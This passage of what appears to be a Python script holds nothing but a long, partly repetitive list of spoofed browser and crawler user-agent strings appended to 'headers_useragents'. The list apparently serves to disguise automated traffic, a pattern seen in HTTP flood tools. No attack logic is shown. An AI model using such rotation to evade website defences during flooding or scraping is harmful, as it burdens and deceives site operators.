  2364.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2365.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2366.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2367.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2368.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2369.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2370.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2371.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2372.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2373.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2374.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2375.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2376.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2377.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2378.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2379.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2380.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2381.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2382.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2383.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2384.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2385.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2386.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2387.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2388.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2389.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2390.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2391.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2392.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2393.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2394.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2395.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2396.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2397.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  2398.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  2399.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  2400.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  2401.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  2402.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2403.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2404.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  2405.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  2406.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  2407.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  2408.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  2409.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2410.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2411.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2412.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2413.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  2414.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2415.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  2416.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  2417.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  2418.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  2419.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2420.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  2421.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  2422.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  2423.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  2424.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  2425.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  2426.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  2427.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  2428.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  2429.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  2430.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  2431.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2432.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2433.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  2434.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  2435.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  2436.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  2437.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2438.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  2439.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2440.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  2441.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  2442.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  2443.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  2444.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2445.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  2446.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  2447.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  2448.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  2449.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2450.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2451.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2452.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2453.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2454.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2455.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2456.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2457.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2458.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2459.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2460.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2461.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2462.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2463.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2464.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2465.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2466.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2467.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2468.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2469.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2470.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2471.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2472.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2473.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2474.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2475.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2476.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2477.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2478.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2479.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2480.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2481.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2482.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2483.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2484.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2485.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2486.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2487.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2488.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2489.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2490.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2491.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2492.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2493.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2494.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2495.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2496.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2497.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2498.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2499.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2500.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2501.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2502.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2503.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2504.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2505.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2506.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2507.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2508.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2509.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2510.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2511.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2512.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2513.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2514.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2515.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2516.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2517.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2518.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2519.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2520.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2521.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2522.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2523.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2524.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2525.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2526.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2527.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2528.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2529.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2530.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2531.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2532.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2533.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2534.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2535.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2536.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2537.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2538.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2539.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2540.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2541.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2542.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2543.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2544.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2545.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2546.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2547.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2548.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2549.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2550.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2551.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2552.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2553.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2554.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2555.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2556.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2557.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
